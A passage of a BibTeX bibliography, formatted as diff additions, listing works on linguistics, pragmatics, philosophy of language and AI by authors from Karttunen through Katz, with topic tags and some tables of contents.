Xerox Palo Alto research Center.}, + topic = {nl-generation;logic-tutorial-systems;} + } + +@unpublished{ karttunen_l:1991a, + author = {Lauri Karttunen}, + title = {Finite-State Constraints}, + year = {1991}, + note = {Unpublished manuscript, Xerox Palo Alto research Center.}, + topic = {finite-state-morpology;} + } + +@techreport{ karttunen_l-beesley:1992a, + author = {Lauri Karttunen and Kenneth Beesley}, + title = {Two-Level Rule Compiler}, + institution = {Xerox Corporation}, + number = {ISTL--92--2}, + year = {1992}, + address = {Palo Alto Research Center, Palo Alto, California}, + topic = {finite-state-morpology;finite-state-phonology; + two-level-morphology;computational-morphology;} + } + +@techreport{ karttunen_l:1993a, + author = {Lauri Karttunen}, + title = {Finite-State Lexicon Compiler}, + institution = {Xerox Corporation}, + number = {ISTL--NLTT--1993--04--02}, + year = {1993}, + address = {Palo Alto Research Center, Palo Alto, California}, + topic = {finite-state-morpology;finite-state-phonology; + two-level-morphology;computational-morphology;} + } + +@inproceedings{ karttunen_l:1996a, + author = {Lauri Karttunen}, + title = {Directed Replacement}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {108--115}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {computational-phonology;two-level-phonology;} + } + +@book{ karttunen_l:1998a, + editor = {Lauri Karttunen}, + title = {{FSMNLP'98}: International Workshop on Finite State + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Lauri Karttunen, "The Proper Treatment of Optimality + in Computational Phonology" + 2. Mark-Jan Nederhof, "Context-Free Parsing through + Regular Approximation" + 3. Atro Voutilainen, "Does Tagging Help Parsing? A Case + Study on Finite State Parsing" + 4. Wide R. Hogenbout and Yuji Matsumoto, "Robust Parsing + Using a Hidden {M}arkov Model" + 5. Jan Daciuk and Bruce W. Watson and Richard E. Watson, + "Incremental Construction of Minimal Acyclic Finite + State Automata and Transducers" + 6. Gertjan van Noord, "Treatment of $\epsilon$-Moves in + Subset Construction" + 7. David Pic\'o and Enrique Vidal, "Learning Finite State + Models for Language Understanding" + 8. Aarne Ranta, "A Multilingual Natural Language Interface + to Regular Expressions" + 9. Kemal Oflazer and G\"okhan T\"ur, "Implementing Voting + Constraints with Finite State Transducers" + 10. R\'emi Zajec, "Feature Structures, Unification and + Finite State Transducers" + 11. Sandro Pedrazzini and Marcus Hoffman, "Using Genericity + to Create Customizable Finite State Tools" + 12. Kenneth R. Beesley, "Constraining Separated Morphotactic + Dependencies in Finite State Grammars" + }, + topic = {nl-processing;finite-state-nlp;finite-state-morpology; + finite-state-automata;finite-state-phonology;} + } + +@incollection{ karttunen_l:1998b, + author = {Lauri Karttunen}, + title = {The Proper Treatment of Optimality in Computational + Phonology}, + booktitle = {{FSMNLP'98}: International Workshop on Finite State + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Lauri Karttunen}, + pages = {1--12}, + address = {Somerset, New Jersey}, + topic = {optimality-theory;finite-state-phonology;} + } + +@article{ karttunen_l-oflazer:2000a, + author = {Lauri Karttunen and Kemal Oflazer}, + title = {Introduction to the Special Issue on Finite-State + Methods in {NLP}}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {1}, + pages = {1--2}, + topic = {finite-state-phonology;finite-state-nlp; + finite-state-morpology;} + } + +@article{ kashap:1971a, + author = {Paul Kashap}, + title = {Imperative Inference}, + journal = {Mind}, + year = {1971}, + volume = {80}, + number = {317}, + pages = {141--143}, + topic = {imperative-logic;} + } + +@incollection{ kasher:1973a, + author = {Asa Kasher}, + title = {Worlds, Games and Pragmemes: A Unified Theory of Speech Acts}, + booktitle = {Logic, Language, and Probability}, + publisher = {D. Reidel Publishing Co.}, + year = {1973}, + editor = {R.J. Bogdan and I. Niiniluoto}, + pages = {201--207}, + address = {Dordrecht}, + topic = {pragmatics;speech-acts;} + } + +@article{ kasher:1974a, + author = {Asa Kasher}, + title = {Mood Implicatures: A Logical Way of Doing Pragmatics}, + journal = {Theoretical Linguistics}, + year = {1974}, + volume = {1}, + number = {1/2}, + pages = {6--38}, + topic = {pragmatics;implicature;} + } + +@incollection{ kasher:1975a, + author = {Asa Kasher}, + title = {Pragmatic Representations and Language-Games: Beyond + Intensions and Extensions}, + booktitle = {Rudolph {C}arnap, Logical Empiricist}, + publisher = {D. Reidel Publishing Co.}, + year = {1975}, + editor = {Jaakko Hintikka}, + pages = {271--292}, + address = {Dordrecht}, + topic = {pragmatics;foundations-of-semantcis;} + } + +@book{ kasher:1976a, + editor = {Asa Kasher}, + title = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + address = {Dordrecht}, + contentnote = {TC: + 1. Alfred J. Ayer, "Identity and Reference", pp. 3--24 + 2. Peter T. Geach, "Back-Reference", pp. 25--39 + 3. Fred Sommers, "On Predication and Logical Syntax", pp. 41--54 + 4. Eric Walther and Eddy M. Zemach, "Substance Logic", pp. 55--74 + 5. M. Glouberman, "Prime Matter, Predication, and the Semantics + of Feature-Placing", pp.75--104 + 6. Jaakko Hintikka, "A Counterexample to {T}Arski-Type Truth + Definitions as Applied to Natural Languages", pp. 107--112 + 7. Robert L. Martin and Peter Woodruff, "On Representing + `True-in{$L$}' in {$L$}", pp. 113--117 + 8. Richmond H. Thomason, "Necessity, Quotation, and Truth: + An Indexical Theory", pp. 119--138 + 9. Hans G. Herzberger, "Propositional Policies", pp.139--164 + 10. Jerrold J. Katz, "The Dilemma between Orthodoxy and + Identity", pp. 165--175 + 11. Robert C. Stalnaker, "Indicative Conditionals", pp. 179--196 + 12. Asa Kasher, "Conversational Maxims and Rationality", pp. 197--216 + 13. Hans-Heinrich Lieb, "On Relating Pragmaticcs, Linguistics, and + Non-Semantic Disciplines", pp. 217--249 + 14. Dieter Wunderlich, "Towards an Integrated Theory of Grammatical and + Pragmatical Meaning", pp. 251--277 + 15. Noam Chomsky, "Problems and Mysteries in the Study of + Human Language", pp. 281--357 + 16. L. Jonathan Cohen, "How Empirical is Contemporary Logical + Empiricism?", pp. 359--376 + 17. Helmut Schnelle, "Basic Aspects of the Theory of Grammatical + Form", pp. 377--404 + 18. Manfred Bierwisch, "Social Differentiation of Language + Structure", pp. 407--456 + 19. Avishai Margalit, "Talking with Children, {P}iaget + Style", pp. 457--471 + 20. Joseph Agassi, "Can Adults Become Genuinely + Bilingual?", pp. 473--484 + 21. Franz von Kutschera, "Epistemic Interpretation of + Conditionals", pp. 501--537 + 22. Renate Bartsch, "The Role of Categorial Syntax in + Grammatical Theory", pp. 503--539 + 23. Richard M. Martin, "On {H}arris' Systems of Report and + Paraphrase", pp.541--568 + 24. Dov M. Gabbay, "Two-Dimensional Propositional Tense + Logics", 567--623 + 25. Marcello Dascal, "Levels of Meaning and Moral + Discourse", pp. 587--625 + 26. Irving M. Copi, "A Problem in {P}lato's Laws", pp. 627--639 + 27. Roland Posner, "Discourse as a Means to + Enlightenment", pp. 641--660 + 28. Gershon Weiler, "Points of View", pp. 661--674 + } , + topic = {nl-semantics;pragmatics;philosophy-of-language;} + } + +@article{ kasher:1976b, + author = {Asa Kasher}, + title = {Logical Rationalism: on Degrees of Adequacy for Semantics + of Natural Languages}, + journal = {Philosophica}, + year = {1976}, + volume = {18}, + pages = {139--157}, + missinginfo = {number}, + topic = {nl-semantics;foundations-of-semantics;} + } + +@incollection{ kasher:1976c, + author = {Asa Kasher}, + title = {Conversational Maxims and Rationality}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {197--216}, + address = {Dordrecht}, + topic = {implicature;pragmatics;} + } + +@book{ kasher-lappin:1977a, + author = {Asa Kasher and Shalom Lappin}, + title = {Philosophical Linguistics: An Introduction}, + publisher = {Scriptor Verlag}, + year = {1977}, + address = {Kronberg}, + ISBN = {0728602792}, + topic = {nl-semantics;philosophy-of-language;} + } + +@incollection{ kasher:1979a, + author = {Asa Kasher}, + title = {On Pragmatic Demarcation of a Language}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {188--194}, + topic = {pragmatics;philosophy-of-language;} + } + +@incollection{ kasher:1979b, + author = {Asa Kasher}, + title = {Logical Rationalism and Formal Semantics of Natural + Languages: On Conditions of Adequacy}, + booktitle = {Syntax and Semantics 10}, + publisher = {Academic Press}, + year = {1979}, + pages = {257--273}, + address = {New York}, + topic = {foundations-of-semantics;nl-semantics;} + } + +@incollection{ kasher:1979c, + author = {Asa Kasher}, + title = {What Is a Theory of Use?}, + booktitle = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Avishai Margalit}, + pages = {37--55}, + address = {Dordrecht}, + topic = {foundations-of-pragmatics;pragmatics;} + } + +@article{ kasher:1982a, + author = {Asa Kasher}, + title = {Gricean Inference Reconsidered}, + journal = {Philosophia}, + year = {1982}, + volume = {29}, + pages = {25--44}, + number = {1}, + topic = {implicature;pragmatics;} + } + +@article{ kasher:1984a, + author = {Asa Kasher}, + title = {On the Psychological Reality of Pragmatics}, + journal = {Journal of Pragmatics}, + year = {1984}, + volume = {8}, + pages = {539--557}, + missinginfo = {number}, + topic = {pragmatics;foundations-of-pragmatics;psychological-reality;} + } + +@article{ kasher:1984b1, + author = {Asa Kasher}, + title = {Pragmatics and the Modularity of Mind}, + journal = {Journal of Pragmatics}, + year = {1984}, + volume = {8}, + pages = {539--557}, + missinginfo = {number}, + xref = {Republication: kasher:1984b2.}, + topic = {pragmatics;foundations-of-pragmatics;cognitive-modularity;} + } + +@incollection{ kasher:1984b2, + author = {Asa Kasher}, + title = {Pragmatics and the Modularity of Mind}, + booktitle = {Pragmatics: A Reader}, + publisher = {Oxford University Press}, + year = {1991}, + editor = {Steven Davis}, + pages = {567--582}, + address = {Oxford}, + xref = {Republication of: kasher:1984b2.}, + topic = {pragmatics;foundations-of-pragmatics;cognitive-modularity;} + } + +@incollection{ kasher:1987a, + author = {Asa Kasher}, + title = {Justification of Speech, Acts, and Speech Acts}, + booktitle = {New Directions in Semantics, Volume 2}, + publisher = {Academic Press}, + year = {1987}, + editor = {Ernest LePore}, + pages = {281--303}, + address = {London}, + topic = {speech-acts;pragmatics;philosophy-of-language;} + } + +@book{ kasher:1989a, + editor = {Asa Kasher}, + title = {Cognitive Aspects of Language Use}, + publisher = {Elsevier Science}, + year = {1989}, + address = {Amsterdam}, + ISBN = {0444871500 (U.S.)}, + topic = {pragmatics;psycholinguistics;discourse;discourse-analysis;} + } + +@book{ kasher:1998a, + editor = {Asa Kasher}, + title = {Pragmatics: Critical Concepts. Volume {I}: + Dawn and Delineation}, + publisher = {Routledge}, + year = {1998}, + address = {London}, + ISBN = {0415169348 (v. 1)}, + topic = {pragmatics;} + } + +@book{ kasher:1998b, + editor = {Asa Kasher}, + title = {Pragmatics: Critical Concepts. Volume {II}: + Speech Act Theory and Particular Speech Acts}, + publisher = {Routledge}, + year = {1998}, + address = {London}, + ISBN = {0415169356 (v. 2)}, + topic = {pragmatics;speech-acts;} + } + +@book{ kasher:1998c, + editor = {Asa Kasher}, + title = {Pragmatics: Critical Concepts. Volume {III}: + Indexicals and Reference}, + publisher = {Routledge}, + year = {1998}, + address = {London}, + contentnote = {TC: + 1. Keith S. Donnellan, "Reference and Definite Descriptions" + 2. Richard Montague, "Pragmatics" + 3. Howard K. Wettstein, "How to Bridge the Gap Between Meaning + and Reference" + 4. Steven Davis, "Linguistic Semantics, Philosophical Semantics + and Pragmatics" + 5. Jorge Hankamer and Ivan Sag, "Deep and Surface Anaphora" + 6. Ray Jackendoff, "Pragmatic Anaphors and Categories of Concepts" + 7. Geoffrey Nunberg, "Indexicality and Reference" + 8. Amichai Kronfeld, "Reference and Computation" + } , + topic = {reference;indexicals;} + } + +@book{ kasher:1998d, + editor = {Asa Kasher}, + title = {Pragmatics: Critical Concepts. Volume {IV}: + Presupposition, Implicature, and Indirect Speech Acts}, + publisher = {Routledge}, + year = {1998}, + address = {London}, + ISBN = {0415169372 (v. 4)}, + topic = {pragmatics;presupposition;implicature;} + } + +@book{ kasher:1998e, + editor = {Asa Kasher}, + title = {Pragmatics: Critical Concepts. Volume {V}: + Communication, Interaction, and Discourse}, + publisher = {Routledge}, + year = {1998}, + address = {London}, + ISBN = {0415169380 (v. 5)}, + topic = {pragmatics;discourse;} + } + +@book{ kasher:1998f, + editor = {Asa Kasher}, + title = {Pragmatics: Critical Concepts. Volume {VI}: + Grammar, Psychology, and Sociology}, + publisher = {Routledge}, + year = {1998}, + address = {London}, + ISBN = {0415169933 (v. 6)}, + topic = {pragmatics;sociolinguistics;} + } + +@incollection{ kasif:1989a, + author = {Simon Kasif}, + title = {Parallel Solutions to Constraint Satisfaction Problems}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {180--188}, + address = {San Mateo, California}, + topic = {kr;kr-course;constraint-satisfaction;parallel-processing;} + } + +@article{ kasif:1990a, + author = {Simon Kasif}, + title = {On the Parallel Complexity of Discrete Relaxation in + Constraint Satisfaction Networks}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {45}, + number = {3}, + pages = {275--286}, + topic = {constraint-satisfaction;constraint-networks; + complexity-in-AI;relaxation-methods;} + } + +@article{ kasif-delcher:1994a, + author = {Simon Kasif and Arthur L. Delcher}, + title = {Local Consistency in Parallel Constraint Satisfaction + Networks}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {69}, + number = {1--2}, + pages = {307--327}, + acontentnote = {Abstract: + In this paper we present several basic techniques for achieving + parallel execution of constraint networks. The major result + supported by our investigations is that the parallel complexity + of constraint networks is critically dependent on subtle + properties of the network that do not influence its sequential + complexity. } , + topic = {constraint-satisfaction;constraint-networks; + complexity-in-AI;parallel-processing;consistency-checking;} + } + +@article{ kasif-etal:1998a, + author = {Simon Kasif and Stven Salzberg and David Waltz and John + Rachlin and David K. Aha}, + title = {A Probabilistic Framework for Memory-Based Reasoning}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {104}, + number = {1--2}, + pages = {287--311}, + topic = {probabilistic-reasoning;memory-based-reasoning;} + } + +@article{ kask-dechter:2001a, + author = {Kalev Kask and Rina Dechter}, + title = {A General Scheme for Automatic Generation of Search + Heuristics from Specification Dependencies}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {129}, + number = {1--2}, + pages = {91--131}, + topic = {heuristics;search;metareasoning;} + } + +@unpublished{ kasper-rounds:1985a1, + author = {Robert Kasper and William C. Rounds}, + title = {A Logical Semantics for Feature Structures}, + year = {1985}, + note = {Unpublished manuscript, Computer Science Department, + University of Michigan.}, + xref = {Conference publication: kasper-rounds:1985a2.}, + topic = {feature-structure-grammar;feature-structure-logic; + unification;} + } + +@inproceedings{ kasper-rounds:1985a2, + author = {Robert Kasper and William C. Rounds}, + title = {A Logical Semantics for Feature Structures}, + booktitle = {Proceedings of the 24th Annual Meeting of the Association for + Computational Linguistics}, + year = {1986}, + pages = {235--242}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + missinginfo = {editor}, + xref = {Privately circulated version: kasper-rounds:1985a1.}, + topic = {feature-structure-grammar;feature-structure-logic; + unification;} + } + +@phdthesis{ kasper:1987a, + author = {Robert T. Kasper}, + title = {Feature Structures: A Logical Theory with Application to + Language Analysis}, + school = {Computer Science Department, University of Michigan}, + year = {1987}, + type = {Ph.{D}. Dissertation}, + address = {Ann Arbor, Michigan}, + contentnote = {Summary: Feature structures are used for + the representation of linguistic information in several grammar + formalisms for natural language processing. These structures are + a type of directed graph, in which arcs are labeled by names of + features, and nodes correspond to values of features. Note: As + a step in constructing a parser for a large Systemic Functional + Grammar of English, a general mapping is described from systemic + descriptions to the type of feature structures used in + Functional Unification Grammar. Experiments carried out with a + trial version of the parser revealed that existing methods of + unification could not effectively handle descriptions containing + a large amount of disjunction. Subtle difficulties were also + discovered in defining a precise interpretation for some kinds + of disjunctive feature descriptions. In order to clarify the + interpretation of feature descriptions, a new sort of logic is + developed. The formulas of this logic can be precisely + interpreted as descriptions of sets of feature structures. A + complete calculus of equivalences is defined for these formulas, + providing a sound basis for the simplification of feature + descriptions. The consistency problem for formulas of the logic + is shown to be NP-complete, with disjunction as the dominant + source of complexity. This result indicates that any complete + unification algorithm for disjunctive descriptions will probably + require exponential time in the worst-case. However, an + algorithm has been designed with a much better average + performance, by factoring formulas according to laws of + equivalence and using a method of successive approximation. This + algorithm has been implemented and tested as part of the + experimental parser for Systemic Functional Grammar with + favorable results. The implementation also extends the PATR-II + grammar formalism, by providing an effective way to use + disjunction in the statement of a grammar. The methods presented + are generally applicable to any computational system which uses + feature structures, as well as to the description of large + grammars for natural language analysis. } , + topic = {feature-structures;feature-structure-logic;} + } + +@article{ kasper-rounds:1990a, + author = {Robert Kasper and William C. Rounds}, + title = {The Logic of Unification in Grammar}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {1}, + pages = {35--58}, + topic = {feature-structure-grammar;feature-structure-logic; + unification;} + } + +@incollection{ kasper-etal:1999a, + author = {Robert Kasper and Paul Davis and Craige Roberts}, + title = {An Integrated Approach to Reference and Presupposition + Resolution}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {1--10}, + address = {New Brunswick, New Jersey}, + topic = {anaphora;reference-resolution;presupposition;} + } + +@incollection{ kass:1989a, + author = {Robert Kass}, + title = {Student Modeling and Intelligent Tutoring---Implications + for User Modeling}, + booktitle = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + pages = {386--410}, + address = {Berlin}, + topic = {user-modeling;intelligent-tutoring;} + } + +@article{ kastner-etal:1986a, + author = {John Kastner and Chidanand Apte and James + Griesmer and Se June Hong and Maurice Karnaugh and Eric + Mays and Yoshio Tozawa}, + title = {A Knowledge-Based Consultant for Financial Marketing}, + journal = {AI Magazine}, + year = {1986}, + volume = {7}, + number = {5}, + pages = {71--79}, + topic = {automatic-consulting;expert-systems;} + } + +@book{ kates:1980a, + author = {Carol A. Kates}, + title = {Pragmatics and Semantics: An Empiricist Theory}, + publisher = {Cornell University Press}, + year = {1980}, + address = {Ithaca, New York}, + topic = {semantics;pragmatics;metaphor;} + } + +@article{ katovsky:1973a, + author = {Dieter Katovsky}, + title = {Causatives}, + journal = {Foundations of Language}, + year = {1973}, + volume = {10}, + number = {2}, + pages = {255--315}, + topic = {causatives;} + } + +@inproceedings{ katsuno-mendelzon:1989a, + author = {Hirofumi Katsuno and Alberto Mendelzon}, + title = {A Unified View of Propositional Knowledge Base Updates}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {387--394}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {belief-revision;} + } + +@incollection{ katsuno-mendelzon:1991a, + author = {Hirofumi Katsuno and Alberto Mendelzon}, + title = {On the Difference Between Updating a Knowledge Base and + Revising It}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {387--394}, + address = {San Mateo, California}, + xref = {Extended version in gardenfors:1992b.}, + topic = {belief-revision;} + } + +@article{ katsuno-mendelzon:1991b, + author = {Hirofumi Katsuno and Alberto Mendelzon}, + title = {Propositional Knowledge Base Revision and Minimal Change}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {52}, + number = {3}, + pages = {263--294}, + topic = {kr;belief-revision;kr-course;} + } + +@inproceedings{ katsuno-satoh:1991a, + author = {Hirofumi Katsuno and K. Satoh}, + title = {A Unified View of Consequence Relation, Belief Revision + and Conditional Logic}, + booktitle = {Proceedings of the Twelfth International Joint + Conference on Artificial Intelligence}, + year = {1991}, + editor = {Barbara Grosz and John Mylopoulos}, + pages = {406--412}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + missinginfo = {A's 1st name}, + topic = {conditionals;belief-revision;} + } + +@incollection{ katsuno-mendelzon:1992a, + author = {Hirofumi Katsuno and Alberto Mendelzon}, + title = {On the Difference Between Updating a Knowledge Base and + Revising It}, + booktitle = {Belief Revision}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Peter G\"ardenfors}, + pages = {183--203}, + address = {Cambridge}, + xref = {Preliminary version in {KR}'91; see katsuno-mendelzon:1991a.}, + topic = {belief-revision;} + } + +@incollection{ katsuno-satch:1995a, + author = {Hirofumi Katsuno and Ken Satoh}, + title = {A Unified View of Consequence Relation, Belief Revision, + and Conditional Logic}, + booktitle = {Conditionals: From Philosophy to Computer Science}, + publisher = {Oxford University Press}, + year = {1995}, + editor = {Gabriella Crocco and Luis Fari\~nas del Cerro and Andreas Herzig}, + pages = {33--65}, + address = {Oxford}, + topic = {conditionals;belief-revision;} + } + +@article{ katz:2002a, + author = {Jerrold J. Katz}, + title = {Mathematics and Metaphilosophy}, + journal = {The Journal of Philosophy}, + year = {2002}, + volume = {99}, + number = {7}, + pages = {362--}, + topic = {philosophy-of-mathematics;philosophical-realism;} + } + +@article{ katz_bj:1999a, + author = {Bernard J. Katz}, + title = {On a Supposed Counterexample to Modus Ponens}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {95}, + number = {8}, + pages = {404--415}, + xref = {Criticism of: mcgee:1985a.}, + topic = {conditionals;belief-revision;} + } + +@article{ katz_fm-katz_jj:1997a, + author = {Fred M. Katz and Jerrold J. Katz}, + title = {Is Necessity the Mother of Intention?}, + journal = {The Philosophical Review}, + year = {1977}, + volume = {86}, + number = {2}, + pages = {70--96}, + topic = {intensionality;philosophy-of-language;} + } + +@article{ katz_jj-fodor_ja:1963a1, + author = {Jerrold J. Katz and Jerry A. Fodor}, + title = {The Structure of a Semantic Theory}, + journal = {Language}, + year = {1963}, + volume = {39}, + number = {2}, + pages = {170--210}, + contentnote = {Evidently this contains the claim that single-sentence + semantics accounts for discourse because a discourse is just + a big S with many "and"s.}, + xref = {Republication: katz_jj-fodor_ja:1963a2.}, + topic = {nl-semantics;pragmatics;semantic-features;} + } + +@incollection{ katz_jj-fodor_ja:1963a2, + author = {Jerrold J. Katz and J.A. Fodor}, + title = {The Structure of a Semantic Theory}, + booktitle = {The Structure of Language: Readings in the Philosophy of + Language}, + publisher = {Prentice-Hall}, + year = {1964}, + editor = {J.A. Fodor and Jerrold J. Katz}, + pages = {479--518}, + address = {Englewood Cliffs, New Jersey}, + missinginfo = {A's 1st name.}, + xref = {Republication of: katz_jj-fodor_ja:1963a1.}, + topic = {nl-semantics;pragmatics;semantic-features;} + } + +@article{ katz_jj:1964a, + author = {Jerrold J. Katz}, + title = {Semantic Theory and the Meaning of `Good'\,}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {23}, + pages = {739--766}, + topic = {nl-semantics;analytic-philosophy;`good';} + } + +@article{ katz_jj:1965a, + author = {Jerrold J. Katz}, + title = {The Relevance of Linguistics to Philosophy}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {20}, + pages = {590--602}, + xref = {Commentary: vendler:1965a, wilson_nl:1965a.}, + topic = {philosophy-and-linguistics;} + } + +@book{ katz_jj:1966a, + author = {Jerrold J. Katz}, + title = {The Philosophy of Language}, + publisher = {Harper and Row Publishers}, + year = {1966}, + address = {New York}, + xref = {Review: wilson_nl:1967a.}, + topic = {philosophy-of-language;} + } + +@book{ katz_jj:1972a, + author = {Jerrold J. Katz}, + title = {Semantic Theory}, + publisher = {Harper and Row Publishers}, + year = {1972}, + address = {New York}, + topic = {nl-semantics;presuposition;} + } + +@incollection{ katz_jj:1975a, + author = {Jerold J. Katz}, + title = {Logic and Language: An Examination of + Recent Criticisms of Intensionalism}, + booktitle = {Language, Mind, and Knowledge. {M}innesota Studies in + the Philosophy of Science, Vol. 7}, + publisher = {University of Minnesota Press}, + year = {1975}, + editor = {Keith Gunderson}, + pages = {36--130}, + address = {Minneapolis, Minnesota}, + topic = {philosophy-of-language;} + } + +@incollection{ katz_jj:1976a, + author = {Jerrold J. Katz}, + title = {The Dilemma between Orthodoxy and Identity}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {165--175}, + address = {Dordrecht}, + topic = {analyticity;} + } + +@incollection{ katz_jj:1976b, + author = {Jerrold J. Katz}, + title = {Global Rules and Surface Structure Interpretation}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {415--425}, + address = {New York}, + topic = {generative-semantics;} + } + +@incollection{ katz_jj-bever:1976a, + author = {Jerrold J. Katz and Thomas G. Bever}, + title = {The Fall and Rise of Empiricism}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {11--64}, + address = {New York}, + topic = {linguistics-methodology;foundations-of-linguistics;} + } + +@article{ katz_jj-langendoen:1976a1, + author = {Jerrold J. Katz and D. Terence Langendoen}, + title = {Pragmatics and Presupposition}, + journal = {Language}, + year = {1976}, + volume = {52}, + pages = {1--17}, + missinginfo = {number}, + xref = {Republication: katz_jj-langendoen:1976a2.}, + topic = {presupposition;pragmatics;} + } + +@incollection{ katz_jj-langendoen:1976a2, + author = {Jerrold J. Katz and D. Terence Langendoen}, + title = {Pragmatics and Presupposition}, + booktitle = {An Integrated Theory of Linguistic Ability}, + publisher = {Thomas Y. Crowell Co.}, + year = {1976}, + editor = {Thomas G. Bever and Jerrold J. Katz and D. Terence Langendoen}, + pages = {393--413}, + address = {New York}, + xref = {Journal publication: katz_jj-langendoen:1976a1.}, + topic = {presupposition;} + } + +@article{ katz_jj:1977a, + author = {Jerrold J.Katz}, + title = {The Advantage of Semantic Theory over Predicate Calculus in + the Representation of Logical Form in Natural Language}, + journal = {The Monist}, + year = {1977}, + volume = {60}, + pages = {303--326}, + missinginfo = {number}, + topic = {nl-semantics;} + } + +@incollection{ katz_jj:1978a, + author = {Jerrold J. Katz}, + title = {The Neoclassical Theory of Reference}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {103--124}, + address = {Minneapolis}, + topic = {reference;philosophy-of-language;} + } + +@incollection{ katz_jj:1978b, + author = {Jerrold J. Katz}, + title = {Effability and Translation}, + booktitle = {Meaning and Translation: Philosophical and Logical + Approaches}, + publisher = {New York University Press}, + year = {1978}, + editor = {Franz Guenthner and Monica Guenthner-Reutter}, + pages = {191--234}, + address = {New York}, + topic = {foundations-of-semantics;} + } + +@article{ katz_jj:1978c, + author = {Jerrold J. Katz}, + title = {The Theory of Semantic Representation}, + journal = {Erkenntnis}, + year = {1978}, + volume = {13}, + missinginfo = {number}, + topic = {nl-semantics;} + } + +@book{ katz_jj:1984a, + editor = {Jerrold J. Katz}, + title = {The Philosophy of Linguistics}, + publisher = {Oxford University Press}, + year = {1984}, + address = {Oxford}, + ISBN = {019875065X}, + topic = {philosophy-of-linguistics;} + } + +@incollection{ katz_jj:1984b, + author = {Jerrold J. Katz}, + title = {Introduction}, + booktitle = {The Philosophy of Linguistics}, + publisher = {Oxford University Press}, + year = {1984}, + editor = {Jerrold J. Katz}, + pages = {1--16}, + address = {Oxford}, + topic = {philosophy-of-linguistics;foundations-of-semantics;} + } + +@incollection{ katz_jj:1987a, + author = {Jerrold J. Katz}, + title = {Common Sense in Semantics}, + booktitle = {New Directions in Semantics, Volume 2}, + publisher = {Academic Press}, + year = {1987}, + editor = {Ernest LePore}, + pages = {157--233}, + address = {London}, + contentnote = {A statement of Katz's views on semantics}, + topic = {nl-semantics;} + } + +@article{ katz_jj-postal:1991a, + author = {Jerrold J. Katz and Paul M. Postal}, + title = {Realism vs. Conceptualism in Linguisics}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {5}, + pages = {515--554}, + xref = {Commentary: higginbotham:1991a, israel_dj:1991b, soames:1991a.}, + topic = {philosophy-of-linguistics;} + } + +@incollection{ katz_jj:1996a, + author = {Jerrold J. Katz}, + title = {Semantics in Linguistics and Philosophy: An + Intentionalist Perspective}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {559--616}, + topic = {foundations-of-semantics;} + } + +@article{ katz_jj:2001a, + author = {Jerrold J. Katz}, + title = {The End of Milleanism: Multiple Bearers, Improper + Names, and Compositional Meaning}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {98}, + number = {3}, + pages = {137--166}, + topic = {semantics-of-proper-names;} + } + +@article{ katz_m:1982a, + author = {Michael Katz}, + title = {The Logic of Approximation in Quantum Theory}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {2}, + pages = {215--228}, + topic = {quantum-logic;} + } + 